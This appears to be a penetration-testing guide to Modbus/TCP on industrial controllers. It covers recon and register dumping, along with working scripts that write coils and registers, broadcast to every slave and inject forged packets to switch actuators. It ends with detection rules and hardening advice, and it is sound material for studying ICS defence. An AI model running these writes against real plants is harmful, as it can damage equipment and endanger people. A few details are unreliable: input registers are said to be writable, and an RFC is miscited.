Overview

Modbus is a serial communication protocol developed in 1979 for use with PLCs (Programmable Logic Controllers). It has become a de facto standard in industrial communication and is widely deployed in ICS (Industrial Control Systems) and SCADA environments. Modbus/TCP exposes the protocol over TCP port 502 and, critically, has no built-in authentication or encryption. Any device that can reach port 502 can read sensor data, write to coils and registers, and potentially manipulate physical processes.

Modbus is found in:

  • Power plants and substations
  • Water treatment facilities
  • Building automation (HVAC, lighting, access control)
  • Manufacturing systems
  • Oil and gas pipelines
  • Medical equipment

Default Port: 502/TCP (Modbus/TCP)


Protocol Overview

Modbus uses a master/slave (client/server) architecture. The master sends requests; slaves respond.

Data Types

ObjectAccessNotes
Coil (Discrete Output)Read/WriteSingle bit, represents relay/actuator state
Discrete InputRead-onlySingle bit, sensor input
Input RegisterRead-only16-bit word, analog input
Holding RegisterRead/Write16-bit word, configuration/output values

Function Codes

FCNameDescription
01Read CoilsRead multiple coils (digital outputs)
02Read Discrete InputsRead digital inputs (sensors)
03Read Holding RegistersRead configuration/output registers
04Read Input RegistersRead analog input registers
05Write Single CoilWrite one coil on/off
06Write Single RegisterWrite one holding register
15Write Multiple CoilsWrite multiple coils
16Write Multiple RegistersWrite multiple holding registers
17Report Slave IDGet device info
43Read Device IdentificationGet vendor/product info

Recon and Fingerprinting

Nmap

# Service detection
nmap -sV -p 502 TARGET_IP

# Modbus-specific nmap scripts
nmap -p 502 --script modbus-discover TARGET_IP

# Aggressive version scan
nmap -sV -sC -p 502 TARGET_IP

# Scan range for Modbus devices
nmap -p 502 --open --script modbus-discover 192.168.1.0/24

Device Identification (FC43/FC17)

# Using mbtget — read device identification
mbtget -m enc -f 43 -u 1 TARGET_IP

# Report Slave ID (FC17)
mbtget -m rti -u 1 TARGET_IP

# Using modbus-cli
modbus read --host TARGET_IP --debug --unit-id 1 --function 17

# Using Python with pymodbus
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('TARGET_IP', port=502)
c.connect()
# Report Slave ID
rr = c.report_slave_id(unit=1)
print('Slave ID:', rr.registers if hasattr(rr, 'registers') else rr)
# Read Device Identification
rd = c.read_device_information(unit=1)
print('Device:', rd)
c.close()
"

Function Code Abuse — Reading Data

FC01 — Read Coils (Digital Outputs)

# Read 100 coils starting at address 0
modbus read --host TARGET_IP --unit-id 1 --function 01 --address 0 --count 100

# mbtget syntax
mbtget -m rc -s 1 -r 0 -c 100 TARGET_IP

# pymodbus
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('TARGET_IP')
c.connect()
rr = c.read_coils(0, 100, unit=1)
print('Coils:', rr.bits)
c.close()
"

FC03 — Read Holding Registers

# Read 100 holding registers (most common for process values)
modbus read --host TARGET_IP --unit-id 1 --function 03 --address 0 --count 100

# All unit IDs from 1 to 255 (scan for all slaves)
for uid in $(seq 1 255); do
  result=$(mbtget -m rhr -s $uid -r 0 -c 10 TARGET_IP 2>/dev/null)
  if [[ $? -eq 0 ]]; then
    echo "Unit $uid: $result"
  fi
done

FC04 — Read Input Registers

# Read analog inputs (sensor readings)
modbus read --host TARGET_IP --unit-id 1 --function 04 --address 0 --count 100

python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('TARGET_IP')
c.connect()
rr = c.read_input_registers(0, 50, unit=1)
print('Input registers:', rr.registers)
c.close()
"

Full Register Dump

#!/usr/bin/env python3
"""
Complete Modbus data dump — reads all register types
"""
from pymodbus.client import ModbusTcpClient
import json
import sys

TARGET = sys.argv[1] if len(sys.argv) > 1 else "TARGET_IP"
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 502
MAX_UNIT_ID = 10
REGISTER_COUNT = 125  # Max per request

c = ModbusTcpClient(TARGET, port=PORT, timeout=5)
if not c.connect():
    print(f"[!] Cannot connect to {TARGET}:{PORT}")
    sys.exit(1)

print(f"[*] Connected to {TARGET}:{PORT}")
results = {}

for unit in range(1, MAX_UNIT_ID + 1):
    unit_data = {}

    # Read Coils (FC01)
    try:
        rr = c.read_coils(0, 100, unit=unit)
        if not rr.isError():
            unit_data['coils'] = list(rr.bits[:100])
    except Exception:
        pass

    # Read Discrete Inputs (FC02)
    try:
        rr = c.read_discrete_inputs(0, 100, unit=unit)
        if not rr.isError():
            unit_data['discrete_inputs'] = list(rr.bits[:100])
    except Exception:
        pass

    # Read Holding Registers (FC03)
    try:
        rr = c.read_holding_registers(0, REGISTER_COUNT, unit=unit)
        if not rr.isError():
            unit_data['holding_registers'] = rr.registers
    except Exception:
        pass

    # Read Input Registers (FC04)
    try:
        rr = c.read_input_registers(0, REGISTER_COUNT, unit=unit)
        if not rr.isError():
            unit_data['input_registers'] = rr.registers
    except Exception:
        pass

    if unit_data:
        print(f"[+] Unit {unit}: {list(unit_data.keys())}")
        results[unit] = unit_data

c.close()

with open('modbus_dump.json', 'w') as f:
    json.dump(results, f, indent=2)

print(f"[+] Saved to modbus_dump.json")

Function Code Abuse — Writing Data

WARNING: Writing to Modbus devices in production environments can cause physical damage, safety incidents, or process disruption. Only perform write operations in authorized lab or test environments.

FC05 — Write Single Coil (Turn On/Off)

# Write coil 0 to ON (value 0xFF00)
modbus write --host TARGET_IP --unit-id 1 --function 05 --address 0 --value 0xFF00

# Write coil 0 to OFF (value 0x0000)
modbus write --host TARGET_IP --unit-id 1 --function 05 --address 0 --value 0x0000

# pymodbus
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('TARGET_IP')
c.connect()
# Turn on coil at address 0
rq = c.write_coil(0, True, unit=1)
print('Write coil result:', rq)
# Turn off
rq = c.write_coil(0, False, unit=1)
print('Write coil result:', rq)
c.close()
"

FC06 — Write Single Register

# Write value 1234 to holding register 0
modbus write --host TARGET_IP --unit-id 1 --function 06 --address 0 --value 1234

python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('TARGET_IP')
c.connect()
rq = c.write_register(0, 1234, unit=1)
print('Write register result:', rq)
c.close()
"

FC16 — Write Multiple Registers

# Write 0 to registers 0-9 (potential process upset)
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('TARGET_IP')
c.connect()
rq = c.write_registers(0, [0]*10, unit=1)
print('Write multiple registers result:', rq)
c.close()
"

Device Fingerprinting

Different vendors use specific register layouts. Fingerprinting helps identify the device type.

Common Vendor Patterns

VendorIdentification Method
Schneider ElectricFC43 OID 0x01-0x02 returns “Schneider”
SiemensRegister 0-5 contains firmware version
Allen-BradleyCustom FC codes, specific register layout
ABBDevice ID string in slave ID response
MoxaTCP banner + FC17 response
#!/usr/bin/env python3
"""Modbus device fingerprinter."""
from pymodbus.client import ModbusTcpClient
from pymodbus.constants import DeviceInformation

def fingerprint(target, port=502, unit=1):
    c = ModbusTcpClient(target, port=port)
    if not c.connect():
        return None

    info = {}

    # FC17 - Report Slave ID
    try:
        r = c.report_slave_id(unit=unit)
        if not r.isError() and hasattr(r, 'raw_id'):
            info['slave_id'] = r.raw_id.hex()
    except Exception:
        pass

    # FC43 - Device Identification
    for oid in [DeviceInformation.Basic, DeviceInformation.Regular, DeviceInformation.Extended]:
        try:
            r = c.read_device_information(read_code=oid, object_id=0, unit=unit)
            if not r.isError():
                for k, v in r.information.items():
                    info[f'ident_{k}'] = v.decode('utf-8', errors='replace')
        except Exception:
            pass

    # Read first 10 holding registers — check for version patterns
    try:
        r = c.read_holding_registers(0, 10, unit=unit)
        if not r.isError():
            info['h_reg_0_10'] = r.registers
    except Exception:
        pass

    c.close()
    return info

result = fingerprint("TARGET_IP")
if result:
    print("[+] Device fingerprint:")
    for k, v in result.items():
        print(f"  {k}: {v}")

PLC Manipulation Risks

The following actions are possible on unauthenticated Modbus endpoints and represent real-world attack scenarios documented in ICS security research:

ActionFunction CodeRisk
Disable actuatorFC05 — write coil OFFStop conveyor, close valve
Force actuator ONFC05 — write coil ONOpen valve, start pump continuously
Falsify sensor readingFC16 — overwrite input registersBypass safety threshold
Change setpointFC06 — modify holding registerOverheat, overpressure
DoS via broadcastFC05/FC16 with unit 0Affect all slaves simultaneously
Firmware manipulationVendor-specific FC (65+)Persistence, brick device

Modbus Broadcast Attack

# Unit ID 0 is the broadcast address — all slaves execute
python3 -c "
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('TARGET_IP')
c.connect()
# Write to ALL slaves simultaneously (unit=0 = broadcast)
rq = c.write_register(0, 0xDEAD, unit=0)
print('Broadcast write:', rq)
c.close()
"

Tools

ToolUsageInstall
modbus-cliCLI for Modbus read/writegem install modbus-cli
mbtgetRead Modbus devicesapt install mbtget
pymodbusPython Modbus librarypip3 install pymodbus
nmapmodbus-discover NSE scriptBuilt-in
Metasploitauxiliary/scanner/scada/modbus_findunitidBuilt-in
SMODModbus penetration testing frameworkGitHub
ModbusPalGUI Modbus simulatorJava jar
modbuspalPLC simulation for testingSourceforge
ScapyCustom Modbus packet craftingpip3 install scapy

SMOD — Modbus Penetration Testing Framework

# Install SMOD
git clone https://github.com/enddo/smod
cd smod
python smod.py

# SMOD is an interactive framework with modules for:
# - Discovery:           scan for Modbus/TCP devices on the network
# - Function code enum:  brute force valid function codes per unit
# - Register read/write: structured read/write operations
# - Device fingerprinting: FC17/FC43 device identification
#
# Within SMOD interactive shell:
# > use modbus/scanner/discover
# > set RHOST TARGET_IP
# > run
#
# > use modbus/function/read_holding_registers
# > set RHOST TARGET_IP
# > set UNIT 1
# > run

Metasploit Modules

msfconsole -q

# Find unit IDs
use auxiliary/scanner/scada/modbus_findunitid
set RHOSTS TARGET_IP
run

# Read registers
use auxiliary/scanner/scada/modbusclient
set RHOSTS TARGET_IP
set DATA_ADDRESS 0
set DATA_COILS 100
set UNIT_NUMBER 1
run

# Read/Write specific registers
set ACTION READ_REGISTERS
set DATA_ADDRESS 0
run

SCADA/ICS Context — Operational Impact

Understanding the context of each Modbus register is critical to assessing impact:

#!/usr/bin/env python3
"""
Context-aware Modbus assessment — maps register values to process meaning
"""
# Example: Water treatment plant register map (hypothetical)
REGISTER_MAP = {
    0: {"name": "Pump 1 Status", "type": "coil", "values": {0: "OFF", 1: "ON"}},
    1: {"name": "Pump 2 Status", "type": "coil", "values": {0: "OFF", 1: "ON"}},
    100: {"name": "Flow Rate (L/min)", "type": "input_reg", "scale": 0.1},
    101: {"name": "Pressure (bar)", "type": "input_reg", "scale": 0.01},
    200: {"name": "Flow Setpoint", "type": "holding_reg", "scale": 0.1},
    201: {"name": "Pressure Setpoint", "type": "holding_reg", "scale": 0.01},
    300: {"name": "Alarm Status", "type": "holding_reg", "values": {0: "Normal", 1: "Warning", 2: "Critical"}},
}

from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient("TARGET_IP")
c.connect()

for addr, info in REGISTER_MAP.items():
    if info['type'] == 'coil':
        r = c.read_coils(addr, 1, unit=1)
        if not r.isError():
            val = r.bits[0]
            label = info.get('values', {}).get(int(val), str(val))
            print(f"  Coil {addr} ({info['name']}): {label}")
    elif info['type'] in ('input_reg', 'holding_reg'):
        fn = c.read_input_registers if info['type'] == 'input_reg' else c.read_holding_registers
        r = fn(addr, 1, unit=1)
        if not r.isError():
            raw = r.registers[0]
            if 'scale' in info:
                val = raw * info['scale']
            elif 'values' in info:
                val = info['values'].get(raw, raw)
            else:
                val = raw
            print(f"  Reg {addr} ({info['name']}): {val}")

c.close()

Detection and Monitoring

# Wireshark capture filter for Modbus/TCP
# Filter: tcp.port == 502 && modbus

# tshark capture
tshark -i eth0 -f "tcp port 502" -T fields \
  -e frame.time \
  -e ip.src \
  -e modbus.func_code \
  -e modbus.reference_num \
  -e modbus.word_cnt

# Snort rule for write operations
# alert tcp any any -> any 502 (msg:"Modbus Write Coil FC05"; content:"|00 00 00 00|"; offset:2; depth:4; content:"|05|"; offset:7; depth:1; sid:1000001;)

Protocol Weaknesses — Security Design Flaws

Modbus/TCP has fundamental security weaknesses by design. Understanding these is essential for assessing impact and advising on compensating controls.

1. No Integrity Check (No MAC/HMAC)

The Modbus TCP Application Protocol header (MBAP) contains no Message Authentication Code or cryptographic checksum. An attacker in a MitM position can intercept and modify register values or coil states in-flight without any detection by the PLC or master. The MBAP header has no signature field — only a Transaction Identifier (2 bytes), Protocol Identifier (2 bytes, always 0x0000), Length (2 bytes), and Unit Identifier (1 byte).

Impact: Register falsification attacks are undetectable at the protocol layer.

2. No Anti-Replay Protection

The standard Modbus protocol includes no sequence numbers or timestamps. A captured FC05 “Write Single Coil” command — for example, a packet that opens a valve or starts a pump — can be replayed arbitrarily long after capture with full effect. The PLC has no mechanism to distinguish a fresh command from a replayed one.

Impact: Captured control commands can be replayed months later during targeted operations without any modification.

3. Predictable Transaction Identifiers

The Transaction Identifier (MBAP header bytes 0-1) is implementation-defined and in many devices is either static (always 0x0000 or 0x0001) or incrementally counter-based. This makes blind injection feasible: an attacker does not need to sniff live traffic to forge a valid Transaction ID.

# Craft a Modbus TCP packet with guessed Transaction ID (e.g., 0x0001)
# to inject a FC05 "Write Single Coil ON" command to unit 1, coil 0
from scapy.all import *

# MBAP header + PDU: Transaction ID=0x0001, Protocol=0x0000, Length=6, Unit=1
# PDU: FC=0x05 (Write Single Coil), Addr=0x0000, Value=0xFF00 (ON)
payload = bytes([
    0x00, 0x01,   # Transaction Identifier
    0x00, 0x00,   # Protocol Identifier (Modbus = 0)
    0x00, 0x06,   # Length (6 bytes follow)
    0x01,         # Unit Identifier
    0x05,         # Function Code: Write Single Coil
    0x00, 0x00,   # Coil Address: 0
    0xFF, 0x00,   # Value: 0xFF00 = ON
])
send(IP(dst="TARGET_IP")/TCP(dport=502)/Raw(load=payload))

Impact: Arbitrary Modbus commands can be injected without capturing prior traffic.


Hardening Recommendations

  • Modbus/TCP should never be exposed to the internet or untrusted networks
  • Use Modbus-aware firewalls (Tofino, Claroty, Nozomi) to restrict allowed function codes
  • Implement network monitoring for anomalous Modbus write operations
  • Deploy Modbus at OSI Layer 2 using serial connections where possible
  • Use encrypted overlay protocols (VPN) if TCP transport is required
  • Vendor-specific secure variants: Modbus over TLS (RFC 8762, port 802)
  • Regularly audit which systems have access to PLC/SCADA Modbus ports
  • Implement unidirectional data diodes for read-only monitoring use cases

Disclaimer: For educational purposes only. Unauthorized access to computer systems is illegal.